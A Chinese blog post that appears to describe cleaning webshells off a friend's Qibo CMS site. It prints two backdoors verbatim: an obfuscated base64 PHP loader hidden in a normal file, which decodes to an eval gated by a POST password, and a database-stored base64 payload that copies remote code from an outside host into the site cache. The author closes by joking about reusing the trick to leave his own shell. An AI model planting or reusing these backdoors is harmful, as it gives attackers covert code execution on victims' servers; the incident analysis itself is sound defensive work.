帮朋友查webshell小记
今天有个朋友说他的站有异常，叫我帮看看，齐博的整站。查了下webshell，找到了2条。其中有一条藏得比较奇葩，至少是我没见过的方式，孤陋寡闻吧，可惜用了eval(),高风险关键字啊～
1、混入正常文件中，并把正常文件一起base64掉：

<?php /* Powered by www.qibosoft.com */
$lll11l11l11l11l1=__FILE__;eval(base64_decode('JGxsMTFsbGwxMWxsbGwxMWw9Zm9wZW4oJGxsbDExbDExbDExbDExbDEsJ3JiJyk7ZnJlYW
QoJGx
sMTFsbGwxMWxsbGwxMWwsMjE2MCk7JGxsMWxsbGwxMTExMTExMWw9ZXhwbG9kZSgiXH
QiLGJh
c2U2NF9kZWNvZGUoZnJlYWQoJGxsMTFsbGwxMWxsbGwxMWwsMjcyKSkpOw=='));$lll11111
1ll1l1ll
=$ll1llll11111111l[0];$l1ll11lllll1ll1l=$lll111111ll1l1ll{2}.$lll111111ll1l1ll{5}.$lll111111ll1l1ll{8}.$lll111111ll1l1ll{11}.$lll111111ll1l1ll{14}.$lll111111ll1l1ll{17}.$lll111111ll1l1ll{20}.$lll11
1111ll1l1ll{23}.$lll111111ll1l1ll{26}.$lll111111ll1l1ll{29}.$lll111111ll1l1ll{32}.$lll111111ll1l1ll{35}.$lll111111ll1l1ll{38};$l11llll111l1l11l=$l1ll11lllll1ll1l($ll1llll11111111l[1]);$l1l11111ll1l1l1l=$l1ll11lllll1ll1l($l11llll111l1l
11l{2}.$l11llll111l1l11l{5}.$l11llll111l1l11l{8}.$l11llll111l1l11l{11}.$l11llll111l1l11l{14}.$l11
llll111l1l11l
{17}.$l11llll111l1l11l{20}.$l11llll111l1l11l{23});$lll1ll11l11l1ll1=$l1ll11lllll1ll1l($ll1llll11111111l[2]);$l111ll111lll1111=$l1ll11lllll1ll1l($lll1ll11l11l1ll1{2}.$lll1ll11l11l1ll1{5}.$lll1ll11l11l1ll1{8}.
$lll1ll11
l11l1ll1{11}.$lll1ll11l11l1ll1{14}.$lll1ll11l11l1ll1{17}.$lll1ll11l11l1ll1{20}.$lll1ll11l11l1ll1{23});$ll1lll1lll111111=$l1ll11lllll1ll1l($ll1llll11111111l[3]);$ll11llllll1lllll=$l1ll11lllll1ll1l($ll1ll
l1lll111111{2}.$ll1lll1lll111111{5}.$ll1lll1lll111111{8}.$ll1lll1lll111111{11}.$ll1lll1lll111111{14}.$ll1lll1lll111111{17}.$ll1lll1lll111111{20}.$ll1lll1lll111111{23});$lll1ll11l1111l11=$l1l
l11lllll1ll1l($ll1llll11111111l[4]);$ll1111l11l11llll=$l1ll11lllll1ll1l($lll1ll11l1111l11{2}.$lll1ll1
1l1111l11{5}.$lll1ll11l1111l11{8}.$lll1ll11l1111l11{11}.$lll1ll11l1111l11{14}.$lll1ll11l111
1l11{17}.$lll1ll11l1111l11{20}.$lll1ll11l11
11l11{23});$llll11l1ll111l1l=$l1ll11lllll1ll1l($ll1llll11111111l[5]);$llllll1l11llllll=$l1ll11lllll1l
l1l($llll11l1ll
111l1l{2}.$llll11l1ll111l1l{5}.$llll11l1ll111l1l{8}.$llll11l1ll111l1l{11}.$llll11l1ll111l1l{14}.$
llll11l1ll111
l1l{17}.$llll11l1ll111l1l{20}.$llll11l1ll111l1l{23});eval($l1ll11lllll1ll1l
('JGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwxMWwsMTcpO2V2YWwo
JGwxbGwxMW
xsbGxsMWxsMWwoJGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwx
MWwsMjMyKSkpO
w=='));return ;?>dGFiMWVhYjlzY2RlYjg2dG00cXVfZWJkY2ZlanFjMnZvdHBkdndlCU5UWmFjM0p0ZVRnNWJXbDNZ
V0phYkhsWGNIazBkWE05CWVHNWFPV050WWpGa2NYTnNhbkZrWm1oSVkzaE5jbkU5CWRucGF
NVEZ1YW1KS2NIUnNabUpaYm1wWFpIQlJkMjQ5CU9HSmpZV3N6YjJ0U2FXMTVjSE5rYkdWSWMy
aEpaSFk5CVoydGFkR0Z0YzNZNVlubDNjbnBhTjNSWGNtczBNbXM54bSULjFL6pblYuIkpO2V2YWw
oJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3e
E1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZz
Ykd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=A
hDBms0qm82LqpqMrHT1O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JH
d3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hiR3d4TVd4
c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4
TVd3c01qTXlLU2twT3c9PScpKTs=tGLOYY5fUpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHe
HNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3
b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZz
Ykd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=JqjcRhp75i6Lf4MwjO2V2YWwoJGwxbGwxM
WxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4
TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR
3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=yS0ttoM7R7SDkJ
pvuNKUO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0
pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01USXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzT
Vd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlL
U2twT3c9PScpKTs=vMCvyQqBIgcoO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzY
kd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3b0pHd3hiR3
d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1Xe
HNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=agQLu9pzZf25xZjXjO2V2YWwoJGwxbGwxMWxsbGxs
MWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c0
1UVXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYk
d3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=WOmDsuNvUYJUFK3O
2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNV
EZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pH
eHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9
PScpKTs=hx7OShbiw40pgFI3OeYhO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZz
Ykd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hi
R3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE
1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=lErzbn3Vk5O2V2YWwoJGwxbGwxMWxsbGxsMWx
sMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01U
SXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd
3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qazJLU2twT3c9PScpKTs=U5zJkvgx0MBjZXZhbCg
kbDFsbDExbGxsbGwxbGwxbCgnSkd4c01URnNiR3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4T
Vd4c2JHd3hNV3dzTVRncE8yVjJZV3dvSkd3eGJHd3hNV3hzYkd4c01XeHNNV3dvSkd4c01URnNiR
3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4TVd4c2JHd3hNV3dzTVRNNE9Da3BLVHNrYkd4c2JH
eHNNV3d4TVd4c2JHeHNiQ2drYkd3eE1XeHNiREV4Ykd4c2JERXhiQ2s3JykpOw==Orb94oK1BBa
oF8cySgaWYoJF9QT1NUWydteXB3ZCddKXsNCglyZXF1aXJlX29uY2UoZGlybmFtZShfX0ZJTEVfXyk
uIi8uLi8uLi9pbmMvcXEuYXBpLnBocCIpOw0KCUBldmFsKHFxbWQ1KCJVVjlBR3g0ZlhrRVFSQWd
lR2tGRkV4aENXVkVMRmdsVlFrd0ZWZ3dkQVZnY1JFZ1dFUlFSVVFzYVFsbEZFUnRmZTU1Yjc0Y
WU4OSIsJ0RFJywkX1BPU1RbJ215cHdkJ10pKTsNCn0NCg0KaWYoJGpvYj09ImdldCImJiRBcG93
ZXJbdXBncmFkZV9vbF0pDQp7DQoNCgloYWNrX2FkbWluX3RwbCgnZ2V0Jyk7DQp9DQplbHNlaWY
oJGFjdGlvbj09ImdldCImJiRBcG93ZXJbdXBncmFkZV9vbF0pDQp7DQoJJGZpbGV1cmw9Imh0dHA
6Ly9kb3duLnFpYm9zb2Z0LmNvbS91cGdyYWRlLnppcCI7DQoJaWYoJGNvZGU9ZmlsZV9nZXRfY2
9udGVudHMoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdGVfZmlsZShST09UX1BBVEguImNhY2hlL3Vw
Z3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KCWVsc2VpZigkY29kZT1maWxlKCRmaWxldXJsKSkNCgl7
DQoJCXdyaXRlX2ZpbGUoUk9PVF9QQVRILiJjYWNoZS91cGdyYWRlLnppcCIsJGNvZGUpOw0KCX0N
CgllbHNlaWYoY29weSgkZmlsZXVybCxST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIikpDQoJ
ew0KCX0NCgllbHNlaWYoJGNvZGU9c29ja09wZW5VcmwoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdG
VfZmlsZShST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KDQoJcmVxd
WlyZV9vbmNlKFJPT1RfUEFUSC4iaW5jL2NsYXNzLnoucGhwIik7DQoJJHogPSBuZXcgWmlwOw0KC
W1ha2VwYXRoKFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCSR6LT5FeHRyYWN0KFJPT1R
fUEFUSC4iY2FjaGUvdXBncmFkZS56aXAiLFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCXVub
GluayhST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIik7DQoJZWNobyAiPE1FVEEgSFRUUC1F
UVVJVj1SRUZSRVNIIENPTlRFTlQ9JzA7VVJMPSR3ZWJkYlt3d3dfdXJsXS9jYWNoZS91cGdyYWRlL2l
uZGV4LnBocCc+IjsNCglleGl0Ow0KfQ==Oz1aqN6Bs2Twgiat5H0qQeo5bgm84V1tvONOA

解出来关键的地方是这样：

@eval(qqmd5("UV9AGx4fXkEQRAgeGkFFExhCWVELFglVQkwFVgwdAVgcREgWERQRUQsaQllFERtfe55b74ae89",'DE',$_POST['mypwd']));
 
$_POST['mypwd']

 
2、一句话。
一全局文件中出现了eval关键字，代码如下：

eval(base64_decode("Y$webdb[_Notice]"));

这段代码还是比较新颖的，$webdb[_Notice] 这个变量，对应的是数据库中config表里key=>value
这样的内容，查了数据库，_Notice的内容为：

29weSgiaHR0cDovL3d3dy5waHAxNjguY29tL05vdGljZS8/dXJsPSR3ZWJkYlt3d3dfdXJsXSIsUEh
QMTY4X1BBVEguImNhY2hlL05vdGljZS5waHAiKTs=

 
那么加上前面有个Y，base64 decode后得到的结果是：

copy("http://www.php168.com/Notice/?url=$webdb[www_url]",PHP168_PATH."cache/Notice.php");

 
这神马情况？官方发notice用那么猥琐？不管了，先删掉好了。不过到是给了我一个留shell的思路，
哈哈哈哈哈哈哈哈！-_-!